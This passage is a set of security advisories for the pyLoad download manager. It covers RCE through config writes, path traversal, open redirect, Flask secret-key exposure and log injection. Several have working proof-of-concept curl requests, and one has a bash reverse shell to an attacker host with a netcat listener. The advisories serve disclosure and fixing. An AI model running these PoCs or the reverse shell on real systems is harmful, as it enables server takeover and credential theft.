3. Attacker also controls timing via same SETTINGS permission
The attacker can set reconnect.enabled=True, reconnect.starttime, and reconnect.endtime through the same setconfigvalue() endpoint to control when execution occurs. togglereconnect() at line 321 requires only Perms.STATUS — an even lower privilege.
4. Additional privilege escalation via config access
Beyond RCE, the same unrestricted config write allows SETTINGS users to: - Read proxy credentials (proxy.username/proxy.password) in plaintext via getconfig() - Redirect syslog to an attacker-controlled server (log.sysloghost/log.syslogport) - Disable SSL (webui.usessl=False), rebind to 0.0.0.0 (webui.host) - Modify SSL certificate/key paths to enable MITM
PoC
Step 1: Set reconnect script to an attacker-controlled executable
Via API: bash Authenticate and get session (as user with SETTINGS permission) curl -c cookies.txt -X POST 'http://target:8000/api/login' \ -d 'username=settingsuser&password=pass123'
Set reconnect script to a known executable on the system curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=script&value=/tmp/exploit.sh§ion=core'
Via Web UI: bash curl -b cookies.txt -X POST 'http://target:8000/json/saveconfig?category=core' \ -d 'reconnect|script=/tmp/exploit.sh&reconnect|enabled=True'
Step 2: Enable reconnect and set timing window
bash curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=enabled&value=True§ion=core'
curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=starttime&value=00:00§ion=core'
curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=endtime&value=23:59§ion=core'
Step 3: Script executes when thread manager calls tryreconnect()
The thread manager's run() method (called repeatedly by the core loop) invokes tryreconnect(), which calls subprocess.run(reconnectscript) at threadmanager.py:199.
Note on exploitation constraints: The file at the target path must exist (os.path.isfile() check) and be executable. With shell=False (subprocess.run default), no arguments are passed. If the attacker also has ADD permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.
Impact
- Remote Code Execution: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user - Privilege escalation: The SETTINGS permission is described as "can access settings" — granting it is not expected to grant arbitrary code execution capability - Credential exposure: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via getconfig() - Network reconfiguration: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings
Recommended Fix
Add an allowlist or category-level restriction in setconfigvalue() that prevents non-admin users from modifying security-critical options:
python In setconfigvalue(), after the storagefolder check: ADMINONLYOPTIONS = { ("reconnect", "script"), ("webui", "host"), ("webui", "usessl"), ("webui", "sslcert"), ("webui", "sslkey"), ("log", "sysloghost"), ("log", "syslogport"), ("proxy", "username"), ("proxy", "password"), }
if section == "core" and (category, option) in ADMINONLYOPTIONS: # Require ADMIN role for security-critical settings if not self.pyload.api.userdata.get("role") == Role.ADMIN: raise PermissionError(f"Admin role required to modify {category}.{option}")
Additionally, consider validating the reconnect.script path against an allowlist of directories or requiring admin approval for script path changes.
pyLoad is a free and open-source download manager written in Python. Versions before 0.5.0b3.dev97 are vulnerable to path traversal during password verification of certain encrypted 7z archives (encrypted files with non-encrypted headers), causing arbitrary file deletion outside of the extraction directory. During password verification, pyLoad derives an archive entry name from 7z listing output and treats it as a filesystem path without constraining it to the extraction directory. This issue has been fixed in version 0.5.0b3.dev97.
Summary Open redirect vulnerability due to incorrect validation of input values when redirecting users after login.
Details pyload is validating URLs via the getredirecturl function when redirecting users at login. !301715649-f533db41-d0bd-44f7-8735-be1887fbd06c
The URL entered in the next variable goes through the issafeurl function, where a lack of validation can redirect the user to an arbitrary domain. !301715667-2819b1d3-8a14-42f4-89c8-3d2fa84fc309
The documentation in the urllib library shows that improper URLs are recognized as relative paths when using the urlparse function. (https://docs.python.org/3/library/urllib.parse.html#urllib.parse.urlparse)
For example, When an unusual URL like https:///example.com is entered, urlparse interprets it as a relative path, but in the actual request it is converted to https://example.com due to url normalization.
PoC 1. In the next variable, insert the URL to which you want to redirect the user. !301715949-bb1451eb-5e84-451d-83b4-5c3e204d1df7
2. Check that it is possible to bypass url validation and redirect users to an arbitrary url. !301715824-3de6584a-878d-4ec4-a3d5-a34d11c6c0ac !301716107-ba5ab7b9-7aa8-4b7a-8924-eba82442b4c3
Impact An attacker can use this vulnerability to redirect users to malicious websites, which can be used for phishing and similar attacks.
Summary Any unauthenticated user can browse to a specific URL to expose the Flask config, including the SECRETKEY variable.
Details Any unauthenticated user can browse to a specific URL to expose the Flask config, including the SECRETKEY variable.
PoC Run pyload in the default configuration by running the following command pyload
Now browse to http://localhost:8000/render/info.html. Notice how the Flask configuration gets displayed. !PoC
I was quite amused by this finding. I think it's a very interesting coming together of things that is so unlikely to happen. Below I will detail my process a bit more.
I was looking through the code to see how the authorization mechanism is implemented when I spotted this route, which can be accessed by any unauthenticated actor - https://github.com/pyload/pyload/blob/57d81930edb59177c60830ad8ac36a91d0ec4c4e/src/pyload/webui/app/blueprints/appblueprint.py#L33C1-L37C51 python @bp.route("/render/<path:filename>", endpoint="render") def render(filename): mimetype = mimetypes.guesstype(filename)[0] or "text/html" data = rendertemplate(filename) return flask.Response(data, mimetype=mimetype)
This route allows me to load in any of the predefined templates. However, these templates will be lacking any form of context, and as such it doesn't seem too useful. That is until I loaded the info.html template and scrolled down, revealing the Flask config. This was purely accidental, and I did not understand why it happened, until I looked at the template
- https://github.com/pyload/pyload/blob/57d81930edb59177c60830ad8ac36a91d0ec4c4e/src/pyload/webui/app/templates/info.html#L64C1-L67C10 python <tr> <td>{{ ("Config folder:") }}</td> <td>{{ config }}</td> </tr>
In Flask, every template always gets the Flask config passed to it as the config variable. In the normal execution of this template, this value gets overwritten in the function below, but since we're calling it and bypassing this function altogether, it doesn't get overwritten. Would this variable not be named config and named configuration or Config instead, then this exploit wouldn't work. The likelihood of this occurring is so small, but it seems to have happened here.
- https://github.com/pyload/pyload/blob/57d81930edb59177c60830ad8ac36a91d0ec4c4e/src/pyload/webui/app/blueprints/appblueprint.py#L450C1-L461C51 python context = { "python": sys.version, "os": " ".join((os.name, sys.platform) + extra), "version": api.getserverversion(), "folder": PKGDIR, "config": api.getuserdir(), "download": conf["general"]["storagefolder"]["value"], "freespace": format.size(api.freespace()), "webif": conf["webui"]["port"]["value"], "language": conf["general"]["language"]["value"], } return rendertemplate("info.html", context)
Impact Depending on the how the Flask config data is used, it could have detrimental consequences for the security. It's crucial to keep the SECRETKEY secret and never expose it in your code or configuration files.
Summary A log injection vulnerability was identified in pyload. This vulnerability allows any unauthenticated actor to inject arbitrary messages into the logs gathered by pyload.
Details pyload will generate a log entry when attempting to sign in with faulty credentials. This entry will be in the form of Login failed for user 'USERNAME'. However, when supplied with a username containing a newline, this newline is not properly escaped. Newlines are also the delimiter between log entries. This allows the attacker to inject new log entries into the log file.
PoC Run pyload in the default configuration by running the following command pyload
We can now sign in as the pyload user and view the logs at http://localhost:8000/logs. !Viewing the logs
Any unauthenticated attacker can now make the following request to inject arbitrary logs.
curl 'http://localhost:8000/login?next=http://localhost:8000/' -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-raw $'do=login&username=wrong\'%0a[2024-01-05 02:49:19] HACKER PinkDraconian THIS ENTRY HAS BEEN INJECTED&password=wrong&submit=Login'
If we now were to look at the logs again, we see that the entry has successfully been injected. !PoC2
Impact Forged or otherwise, corrupted log files can be used to cover an attacker’s tracks or even to implicate another party in the commission of a malicious act.
Summary
A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.
Details
When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.
src/pyload/core/api/init.py::addpackage::L432
python folder = ( folder.replace("http://", "") .replace("https://", "") .replace(":", "") .replace("/", "") .replace("\\", "") )
So if a package were created with the name "../" the application would instead create the folder "/downloads/../"
However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.
src/pyload/webui/app/blueprints/jsonblueprint.py::editpackage::L195
python id = int(flask.request.form["packid"]) data = { "name": flask.request.form["packname"], "folder": flask.request.form["packfolder"], "password": flask.request.form["packpws"], }
api.setpackagedata(id, data)
Steps to reproduce
1. Login to a pyLoad instance 2. Go to "Queue" and create a new package with any name and a valid link 3. Click "Edit Package" on the newly created package and set the folder as "/config/scripts/downloadfinished/" 4. Restart the package 5. Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/downloadfinished/"
Remote code execution proof-of-concept
It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.
On attacker machine
1. Start a web server hosting a malicious script
bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attackerip>/9999 0>&1' > evil.sh&1 sudo python3 -m http.server 80
2. Start netcat listener for reverse shells
bash nc -vklp 9999
On pyLoad
1. Change pyLoad file permission settings
Change permissions of downloads: On Permission mode for downloaded files: 0744
2. Create a package with link pointing to the attacker
http://<attackerip>/evil.sh
3. Edit package and change folder to /config/scripts/packagedeleted/
4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad
5. Delete any package package to trigger the script
Impact
An authenticated user can gain control over the underlying pyLoad server.
Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.